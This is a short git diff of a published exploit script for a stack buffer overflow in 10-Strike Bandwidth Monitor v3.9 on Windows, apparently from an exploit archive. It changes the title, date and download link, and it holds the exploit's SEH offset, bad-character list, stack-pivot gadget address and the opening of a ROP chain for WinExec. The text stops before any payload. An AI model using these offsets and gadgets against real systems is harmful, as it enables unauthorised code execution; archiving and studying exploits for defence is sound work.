diff --git a/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py b/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py index 614dfc2..786d798 100644 --- a/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py +++ b/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py @@ -1,7 +1,9 @@ """ -Full title: Bandwidth Monitor v.3.9 +Exploit title: Bandwidth Monitor v.3.9 - Stack Buffer Overflow (SEH,DEP,ASLR bypass) Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +Date: 17/06/2020 Vendor Homepage: https://www.10-strike.com/bandwidth-monitor/ +Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe Version: v.3.9 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 Category: local exploits @@ -17,10 +19,11 @@ nseh_offset = 4188 land_address = 584 filler = 16 -#Bad Characters: '\x00\x20\x0D\x0A' +# Bad Characters: '\x00\x20\x0D\x0A' -#0x01212870 : {pivot 2064 / 0x810} : # ADD ESP,800 # POP EBP # POP EDI # POP ESI # POP EBX # RETN ** [BandMonitor.exe] ** | ascii {PAGE_EXECUTE_READWRITE} +# 0x01212870 : {pivot 2064 / 0x810} : # ADD ESP,800 # POP EBP # POP EDI # POP ESI # POP EBX # RETN ** [BandMonitor.exe] ** | ascii {PAGE_EXECUTE_READWRITE} +# WinExec ROP def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [